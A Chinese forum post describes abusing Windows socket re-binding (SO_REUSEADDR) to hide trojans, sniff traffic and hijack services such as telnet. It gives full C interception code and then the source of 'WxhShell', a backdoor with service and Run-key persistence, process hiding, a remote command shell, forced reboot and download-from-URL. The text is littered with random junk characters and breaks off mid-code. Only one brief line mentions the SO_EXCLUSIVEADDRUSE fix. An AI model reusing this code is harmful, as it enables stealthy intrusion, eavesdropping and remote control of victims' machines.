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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,Iq+v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jLC,<V*  
Db\.D/ 76  
  saddr.sin_family = AF_INET; 2%0z PflT  
v :]y#y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7uJy<O  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j>~^jz:  
uy\< t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P ETrMu<  
V ~w(^;o@  
  这意味着什么?意味着可以进行如下的攻击: F7J-@T<  
8'J> @ uW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [oOZ6\?HB  
P(G$@},W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B9|!8V  
ghd~p@4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <lZyUd  
[P)'LY6F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =-jkp  
(V @g?|LZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K^tM$l\  
 Py\xN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $K^"a  
Z@&_ T3M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rz+G]J  
B, nCx=\S  
  #include x3>K{  
  #include CF9a~^+%  
  #include b!SGQv(^M  
  #include    T8>:@EL-k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JC`|GaUy  
  int main() `g6XVa*%#  
  { ;k^wn)JE$  
  WORD wVersionRequested; 7a0ZI  
  DWORD ret; 4XK*sR0-`  
  WSADATA wsaData; Cl[ '6Lk  
  BOOL val; <&TAN L  
  SOCKADDR_IN saddr; iZ#dS}VlJ  
  SOCKADDR_IN scaddr; Zoj.F  
  int err; S$\l M<M  
  SOCKET s; owZj Q  
  SOCKET sc; *#e%3N05_  
  int caddsize; '{XDhK  
  HANDLE mt; :k8>)x] )  
  DWORD tid;   m8$6FN  
  wVersionRequested = MAKEWORD( 2, 2 ); 7CYu"+Ea  
  err = WSAStartup( wVersionRequested, &wsaData ); @/H1}pM~  
  if ( err != 0 ) { Je2o('MA  
  printf("error!WSAStartup failed!\n"); 0z/tceW'F  
  return -1; 1i#uKKwE  
  } :s+AIo6  
  saddr.sin_family = AF_INET; 0F=UZf&  
   xksQMS2#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n[n0iz1-  
EHkb{Q8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k:s}`h _n  
  saddr.sin_port = htons(23); k(<5tvd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WK0?$[|=r  
  { \k0%7i[nZ/  
  printf("error!socket failed!\n"); PXm{GLXRS;  
  return -1; ZT4._|2  
  } AuHOdiJ  
  val = TRUE; ?XL[[vyr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 sp0& " &5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G& cm5  
  { G U~?S'{  
  printf("error!setsockopt failed!\n"); r4dG83qg  
  return -1; WGKN>nV  
  } i;lzFu )G  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |vz< FR6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _IOeO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l"o@.C} f/  
QKc3Q5)@j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6=A2Y:8  
  { X'.}#R1  
  ret=GetLastError(); !1+L0,I6  
  printf("error!bind failed!\n"); \$ ^z.  
  return -1; \lCr~D5  
  } &}32X-~y  
  listen(s,2); UoPd>q4Uj  
  while(1) vmJ1-<G4*  
  { -VD[iH  
  caddsize = sizeof(scaddr); ^tsIgK^9H  
  //接受连接请求 )`F? {Sg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #Bj{ 4OeV  
  if(sc!=INVALID_SOCKET) LdR}v%EH  
  { Smo^/K`f9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [%;LZZgl  
  if(mt==NULL) ?VEJk,/k  
  { iI+kZI-  
  printf("Thread Creat Failed!\n"); qd~)Ya1  
  break; \.myLkm  
  } b')CGqbbmT  
  } n9gj{]%  
  CloseHandle(mt); xB]~%nC[O  
  } 0z&3jWWY@  
  closesocket(s); pD##lkJr  
  WSACleanup(); g[*+R9'  
  return 0; #tN)OZA  
  }   (S0MqX*  
  DWORD WINAPI ClientThread(LPVOID lpParam) s#;|8_L M  
  { wfM$JYfI  
  SOCKET ss = (SOCKET)lpParam; ` B) ~  
  SOCKET sc; XD{U5.z>y  
  unsigned char buf[4096]; sn_]7d+ Q  
  SOCKADDR_IN saddr; 5X\3y4  
  long num; T({:Y. A;  
  DWORD val; /u!I2DF  
  DWORD ret; 8NudY3cU!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _ot4HmD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h|yv*1/|  
  saddr.sin_family = AF_INET; LT!B]y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qWKpnofa  
  saddr.sin_port = htons(23); v~q2D"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ge@./SGT  
  { d{hb gUSj  
  printf("error!socket failed!\n"); D#x D-c  
  return -1; ~-GgVi*I  
  } *PMvA1eN=#  
  val = 100; Mr<2I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ 6 1?nu  
  { jU)r~QhN  
  ret = GetLastError(); _zI9 5  
  return -1; Fj"g CBaR  
  } Y4 ){{bEp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A|CW4f,  
  { dc5w_98o  
  ret = GetLastError(); $6XSW  
  return -1; "w9`UFu%^e  
  } %lbSV}V)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  IKKd  
  { L-^vlP)Vu  
  printf("error!socket connect failed!\n"); R3d>|`) +  
  closesocket(sc); yX$I<L<Suz  
  closesocket(ss); %CfJ.;BDNE  
  return -1; { > {|3  
  } AW&HWc~A  
  while(1) I7 pxi$8f  
  { b9)%,3-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UAnq|NJO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jiYYDGs77  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h/5n+*x(  
  num = recv(ss,buf,4096,0); Fo3[KW)8I  
  if(num>0) `^9 Zbwq  
  send(sc,buf,num,0); 'M|W nR  
  else if(num==0) SWD v\Vr  
  break; @R9zLL6#7  
  num = recv(sc,buf,4096,0); ,]i ^/fT  
  if(num>0) [5:,+i  
  send(ss,buf,num,0); @j`_)Y\  
  else if(num==0) oR5hMu;j+  
  break; Z{EHV7  
  } 4wX{N   
  closesocket(ss); C<r7d [  
  closesocket(sc); @z#;O2  
  return 0 ; `i8osX[&p  
  } a~Sf~ka  
8*6vX!Z|  
~7Kqc\/H&I  
========================================================== r*N:-I~z  
X |.'_6l.  
下边附上一个代码,,WXhSHELL ?xGxr|+a  
4 `Z@^W  
========================================================== \OHsCG27  
}.3F|H  
#include "stdafx.h" _J}ce  
'(5 &Sj/C  
#include <stdio.h> z) yUBcq  
#include <string.h> @%IZKYf c~  
#include <windows.h> p \; * :  
#include <winsock2.h> SGZOfTcY  
#include <winsvc.h> A,W-=TC  
#include <urlmon.h> [V  T&  
zawU  
#pragma comment (lib, "Ws2_32.lib") RU,f|hB 4  
#pragma comment (lib, "urlmon.lib") mk~i (Ee  
K%Mm'$fTw  
#define MAX_USER   100 // 最大客户端连接数 >^Klq`"?g=  
#define BUF_SOCK   200 // sock buffer a^ <  
#define KEY_BUFF   255 // 输入 buffer ({yuwH?tH  
n <6}  
#define REBOOT     0   // 重启 LU_@8i:  
#define SHUTDOWN   1   // 关机 ilw<Q-o4(  
`~WxMY0M  
#define DEF_PORT   5000 // 监听端口 8Z4d<DIJ  
[y\ZnoB  
#define REG_LEN     16   // 注册表键长度 $^.LZ1Jd  
#define SVC_LEN     80   // NT服务名长度 d;|e7$F'  
Mlb=,l  
// 从dll定义API /wK5YN.em  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [`_&d7{-4b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 30*^ERO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /,"Z^=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KwN o/x| v  
$lOx 6rL  
// wxhshell配置信息 Dw%>y93V  
struct WSCFG { -OB72!sKU  
  int ws_port;         // 监听端口 tV9W4`Z2q  
  char ws_passstr[REG_LEN]; // 口令 #] vq <Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no *DLv$/(0  
  char ws_regname[REG_LEN]; // 注册表键名 (zWzF_v  
  char ws_svcname[REG_LEN]; // 服务名 '&W`x5`t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <]b}R;9v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CM>/b3nOW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Dj;h!8t.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >MUwT$szs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" : :uD%a zd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  @es}bKP  
RV.z xPw>>  
}; $|C%G6!s?@  
4\pi<#X  
// default Wxhshell configuration *ys@ 'Ai?  
struct WSCFG wscfg={DEF_PORT, 5>t&)g  
    "xuhuanlingzhe", 79~,KFct  
    1, I}p uN!  
    "Wxhshell", Xj&{M[k<  
    "Wxhshell", 7$z")JB  
            "WxhShell Service", V,<,;d fR  
    "Wrsky Windows CmdShell Service", K8pfk*NZ_@  
    "Please Input Your Password: ", rwtSn?0z"  
  1, /&$'v:VB  
  "http://www.wrsky.com/wxhshell.exe", )?%FU?2jrn  
  "Wxhshell.exe" iv?'&IUfK  
    }; =jkC]0qx  
iVd*62$@$  
// 消息定义模块 MnO,Cd6{%d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X8ev uN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /1h`O@VA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vPR1 TMi>  
char *msg_ws_ext="\n\rExit."; MfJk`-%~  
char *msg_ws_end="\n\rQuit."; Xf:CGR8_  
char *msg_ws_boot="\n\rReboot..."; r9uY ?M  
char *msg_ws_poff="\n\rShutdown..."; Gs7mO  
char *msg_ws_down="\n\rSave to "; Mw?nIIu(@  
C0jmjZ%w@  
char *msg_ws_err="\n\rErr!"; uwj/]#`  
char *msg_ws_ok="\n\rOK!"; wHBkaPO!  
a { L`C"rJ  
char ExeFile[MAX_PATH]; K-)*S\<}  
int nUser = 0; 5hB&]6n  
HANDLE handles[MAX_USER]; ~B:Lai4"  
int OsIsNt; DvG.G+mo#  
W2wDSP-   
SERVICE_STATUS       serviceStatus; O*z x{a6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 022YuqL<v  
gu/eC  
// 函数声明 Gu V -[  
int Install(void); doFp53NhV  
int Uninstall(void); %Wom]/&,'  
int DownloadFile(char *sURL, SOCKET wsh); s2@N&7"u)  
int Boot(int flag); w(J-[t118  
void HideProc(void); @!Il!+^3  
int GetOsVer(void); teUCK(;23  
int Wxhshell(SOCKET wsl); $.QnM  
void TalkWithClient(void *cs); H+F?)VX}oA  
int CmdShell(SOCKET sock); 1HN_  
int StartFromService(void); DOkEWqM!  
int StartWxhshell(LPSTR lpCmdLine); }1`Rq?@J  
|}es+<P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F@ZG| &  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a,d\< mx  
t}cj8DC!  
// 数据结构和表定义 wC{ =o`v  
SERVICE_TABLE_ENTRY DispatchTable[] = ~"gOq"y 5p  
{ 7Hf6$2Wh  
{wscfg.ws_svcname, NTServiceMain}, Sj+ gf~~  
{NULL, NULL} yZb@  
}; bC$n+G>6k  
XZV)4=5iSO  
// 自我安装 dDi 1{s  
int Install(void) PP.k>zsx  
{ '$ s:cS`=  
  char svExeFile[MAX_PATH]; [^"e~  
  HKEY key; Fy`VQ\%7t  
  strcpy(svExeFile,ExeFile); vO]gj/SaT  
R{#-IH="  
// 如果是win9x系统,修改注册表设为自启动 UldKlQ8  
if(!OsIsNt) { vW"x)~B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }C/}8<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); plsf` a  
  RegCloseKey(key); l2 gI2Cioa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L^RyJ;^c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `*KS` z?  
  RegCloseKey(key); >6 :slNM#  
  return 0; bLCrh(<  
    } &VR<'^>  
  } J0@m Ol  
} +O j28vR  
else { To}L%)  
U(3LeS;mr  
// 如果是NT以上系统,安装为系统服务 0K7-i+\#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1ikkm7  
if (schSCManager!=0) ;r49H<z   
{ np=m ~k  
  SC_HANDLE schService = CreateService b7aAP*$  
  ( /P^@dL  
  schSCManager, '(+l77G  
  wscfg.ws_svcname, 36J)O-Ti  
  wscfg.ws_svcdisp, mrFMdpaHl%  
  SERVICE_ALL_ACCESS, cAVe(:k)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &|9mM=^  
  SERVICE_AUTO_START, 6C r$R]5  
  SERVICE_ERROR_NORMAL, SK;f#quUQ  
  svExeFile, @faf  
  NULL, 6@H& S  
  NULL, |8`}yRsQ  
  NULL, [DGq{(O  
  NULL, A"vI6ud>  
  NULL - CM;sXq  
  ); WVy"MD  
  if (schService!=0) N%y%)MI8  
  { x~Se-#$  
  CloseServiceHandle(schService); 4z#CkT  
  CloseServiceHandle(schSCManager); pm5Yc@D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /PPk p9H{  
  strcat(svExeFile,wscfg.ws_svcname); #kLM=a/_NO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g0g/<Tv[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lCd^|E  
  RegCloseKey(key); 3AWB Y .  
  return 0; uKpl+>  
    } 86R}G/>>e  
  } q69a-5q  
  CloseServiceHandle(schSCManager); eZ}FKg%2[  
} LwY_6[Ef  
} m6lNZb]  
JC>}(yQA  
return 1; 1;? L:A  
} I*K^,XY+  
r)+dK }xl  
// 自我卸载 E+E5`-V  
int Uninstall(void) s Uj#:X  
{ w\$b(HC  
  HKEY key; \sp7[}Sw  
Q=uwmg86  
if(!OsIsNt) { -{7:^K[)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &hV;3";  
  RegDeleteValue(key,wscfg.ws_regname); `f6Qd2\  
  RegCloseKey(key); dE ^(KBF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S1$\D!|1  
  RegDeleteValue(key,wscfg.ws_regname); <9@VY  
  RegCloseKey(key); .rxc"fR4_  
  return 0; ;R 2(Gb  
  } e m>CSBx  
} Yd/qcC(&  
} {W `/KU?u  
else { X 8[T*L.  
u6(7#n02  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z>CFH9  
if (schSCManager!=0) oL VtP  
{ azE>uEsE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QL|Vke:N4  
  if (schService!=0) /Zm@.%.  
  { <a$cB+t  
  if(DeleteService(schService)!=0) { YRC`2)_'  
  CloseServiceHandle(schService); NA0hQGN}  
  CloseServiceHandle(schSCManager); ry7(V:ic  
  return 0; >"`:w  
  } Nk=M  
  CloseServiceHandle(schService); d^lA52X6P  
  } F},JP'\X  
  CloseServiceHandle(schSCManager); RKj A`cJ  
} @XmMD6{<  
} ?.4.Ubc\  
3%cNePlr  
return 1; x;b'y4kH  
} sjaG%f&h  
5R o5Cg~  
// 从指定url下载文件 yM\ 1n  
int DownloadFile(char *sURL, SOCKET wsh) 8, B9y D  
{ Nc;7KMOIA  
  HRESULT hr; m m`:ci  
char seps[]= "/"; xmVK{Q YT$  
char *token; 8,['q~z  
char *file; BA-n+WCWJ  
char myURL[MAX_PATH]; d]@9kG  
char myFILE[MAX_PATH]; 0K#dWc}"a  
iqOd]H]v  
strcpy(myURL,sURL); rH-_L&  
  token=strtok(myURL,seps); F,lQj7  
  while(token!=NULL) lzw r]J%|?  
  { 9ykmz (  
    file=token; sq<y2j1oF  
  token=strtok(NULL,seps); }* BY!5  
  } ;{Ovqo|  
BF]b\/I  
GetCurrentDirectory(MAX_PATH,myFILE); cuSXv)  
strcat(myFILE, "\\"); Z/_RQ q   
strcat(myFILE, file); TcGxm7T  
  send(wsh,myFILE,strlen(myFILE),0); C w$y  
send(wsh,"...",3,0); K-#Rm%J+Wy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lI&0 V5  
  if(hr==S_OK) "` 9W"A=  
return 0; xvrCm`3n@  
else  ;xry  
return 1; ^l iyWl  
bfrBHW#  
} D.\p7 NJ  
-M/ny-; `}  
// 系统电源模块 P+Hs6Q  
int Boot(int flag) v,2{Vr  
{ Llg[YBJ7>  
  HANDLE hToken; Xw![}L >  
  TOKEN_PRIVILEGES tkp; 7H./o Vl  
=o5hD,>e  
  if(OsIsNt) { Sc*p7o: A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fQe-v_K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LrK6*y,z  
    tkp.PrivilegeCount = 1; P/ug'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A\ LTAp(I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UUA7m$F1  
if(flag==REBOOT) { &d6'$h:kHb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IcaF 4#  
  return 0; YZmD:P  
} .CmwR$u&  
else { .Mm8\].  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M6g!bK2l  
  return 0; 2^Y1S?g.  
} 'rz*mR8  
  } #X|'RL($  
  else { H!s &]b  
if(flag==REBOOT) { 1Z*-@%RX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OcIJT1  
  return 0; ~+4OG 0  
} r5rK>  
else { }_Jai4O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {)-%u8J\`N  
  return 0; Q6DE|qnV  
} LM<OYRB(  
} l tQ:c  
%n{E/06f  
return 1; P$w0.XZa  
} 7';PI!$  
Jzfz y0$  
// win9x进程隐藏模块 &)`A4bf%  
void HideProc(void) 3Vt-]DGX  
{ PUucYc  
scrNnO[3j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #~ / -n&#  
  if ( hKernel != NULL ) 8$@gAlI^  
  { {{giSW'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N/^r9Nu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >JnEhVRQJ9  
    FreeLibrary(hKernel); YY$K;t{dk  
  } f}#pKsX.  
[j-]n#E=9y  
return; @8DA  
} <A!v'Y  
[N H[n#  
// 获取操作系统版本 $ V}s3  
int GetOsVer(void) >\KBXS}  
{ fMhMB |W.  
  OSVERSIONINFO winfo; 22(0Jb\_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : h-N  
  GetVersionEx(&winfo); ud! iy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Xgop1  
  return 1; r;}kw(ukC  
  else  ^d4#  
  return 0; 5C2 *f 4|  
} $t[`}I }  
Wh 8fC(BE  
// 客户端句柄模块 /sC$;l  
int Wxhshell(SOCKET wsl) epz2d~;  
{ mltN$b%G=d  
  SOCKET wsh; oIX]9~  
  struct sockaddr_in client; t'FY*|xk  
  DWORD myID; eK4\v:oG1  
fWF\ V[  
  while(nUser<MAX_USER) Q9?/)&3Bu  
{ A1Rt  
  int nSize=sizeof(client); :`oYD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +9,"ne1'e  
  if(wsh==INVALID_SOCKET) return 1; 0xZq?9a  
mu|#(u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G#n27y nh  
if(handles[nUser]==0)  |o=eS&)  
  closesocket(wsh); W=]QTx,J  
else G^j/8e  
  nUser++; bL{wCo-Y  
  } -F@Rpfrj_#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /]iv9e{uh(  
Rq9v+Xq2  
  return 0; Hg]Q.SeJ(  
} nv@$'uQRp  
>8oRO  
// 关闭 socket LlX 7g _!  
void CloseIt(SOCKET wsh) vM|?;QM  
{ #![b9~%WTh  
closesocket(wsh); gb8nST$r  
nUser--; >wz-p nD  
ExitThread(0); !:a pu!  
} @dD70T  
UPUO8W)<Z6  
// 客户端请求句柄 ="<+^$7:k  
void TalkWithClient(void *cs) 4vGkgH<,  
{ WE68a!6  
9`QWqu[  
  SOCKET wsh=(SOCKET)cs; V5%B ,.d:  
  char pwd[SVC_LEN]; cm]8m_!  
  char cmd[KEY_BUFF]; fg+Q7'*Vq  
char chr[1]; ep>S$a*|  
int i,j; 8H3|^J  
:Uj+iYE8Z8  
  while (nUser < MAX_USER) { +'JM:};1X8  
ki=-0G*]  
if(wscfg.ws_passstr) { ES }@mO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W}.;]x%1B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WF-B=BRZ  
  //ZeroMemory(pwd,KEY_BUFF); doVBVTk^  
      i=0; O0';j!?X  
  while(i<SVC_LEN) { BTgL:  
@T>)fKCg  
  // 设置超时 \oLRNr[F  
  fd_set FdRead; b78'yM&  
  struct timeval TimeOut; L:%; Fx2  
  FD_ZERO(&FdRead); $kvF]|<bu  
  FD_SET(wsh,&FdRead); Vb|DNl@  
  TimeOut.tv_sec=8; q2Ax-#  
  TimeOut.tv_usec=0; a~DR$^m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;v*$6DIC5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n3jA[p:  
e*Sv}4e=.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c7L#f=Ot?  
  pwd=chr[0]; >}43MxU?  
  if(chr[0]==0xd || chr[0]==0xa) { fp|b@  
  pwd=0; d&PXJ  
  break;  r,!7TuBl  
  } B&+V%~/  
  i++; OjJKloy'  
    } #rF|X6P  
rhHX0+  
  // 如果是非法用户,关闭 socket -=s7Q{O8Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8s6[?=nM  
} o_vK4%y(  
wVP{R3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w}K<,5I>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0^?(;AK  
mc~d4<$`!  
while(1) { 218ZUg -a  
vZq7U]RW  
  ZeroMemory(cmd,KEY_BUFF); &d[&8V5S  
u&9|9+"N  
      // 自动支持客户端 telnet标准   HhH[pE  
  j=0; ;vc$;54K  
  while(j<KEY_BUFF) { 4%aODr8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? D2:'gg  
  cmd[j]=chr[0]; 2_ <  
  if(chr[0]==0xa || chr[0]==0xd) { 90Jxn'>^  
  cmd[j]=0; `LEk/b1(P  
  break; (iIJ[{[H4)  
  }  # G0jMQ  
  j++; l5l:'EY>  
    } *ukE"Aj  
q{[}*%  
  // 下载文件 q]`XUGC  
  if(strstr(cmd,"http://")) { 3^xTZ*G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k?o(j/  
  if(DownloadFile(cmd,wsh)) I)U|~N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ss/E  
  else j$4Tot  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @=E@ *@g  
  } /NNe/7'l  
  else { D"El6<3)h  
5YQ4]/h  
    switch(cmd[0]) { <2HI. @^  
  q UY;CEf  
  // 帮助 4xjk^N9  
  case '?': { .-k\Q} D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o;7!$v>uK  
    break; LZqx6~]O  
  } q%]0%S?  
  // 安装 ,/BBG\mJ  
  case 'i': {   lCr  
    if(Install()) ;HlVU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =q.2S; ?  
    else H^Ik FEVs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =mxmJFA  
    break; vq B)PL5)  
    } Jk!}z+X'A  
  // 卸载 nsqc^ K^  
  case 'r': { aF1pq  
    if(Uninstall()) \/p\QT@mm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ji\8(7 {8  
    else \h~;n)FI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NmthvKhH   
    break; N J9H=  
    } a*0gd-e0@  
  // 显示 wxhshell 所在路径 m jC6(?V  
  case 'p': { L NmsvU  
    char svExeFile[MAX_PATH]; {n2mh%I  
    strcpy(svExeFile,"\n\r"); !G.)%+Z  
      strcat(svExeFile,ExeFile); Y.Na9&-(  
        send(wsh,svExeFile,strlen(svExeFile),0); n{J<7I e"*  
    break; d}GO(  
    } '=EaZ>=  
  // 重启 ExqI=k`Zs  
  case 'b': { hs}nI/#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SWvy< f4<  
    if(Boot(REBOOT)) I9h?Z&n5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -)(HG)3  
    else { ZY-W~p1:G  
    closesocket(wsh); nqg=I  
    ExitThread(0); *q{/`Z{wy  
    } O:"gJ4D  
    break; DJr{;t$7~  
    } LGGC=;{}  
  // 关机 :PuJF`k  
  case 'd': { tRZCOEo4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EtK,C~C}8  
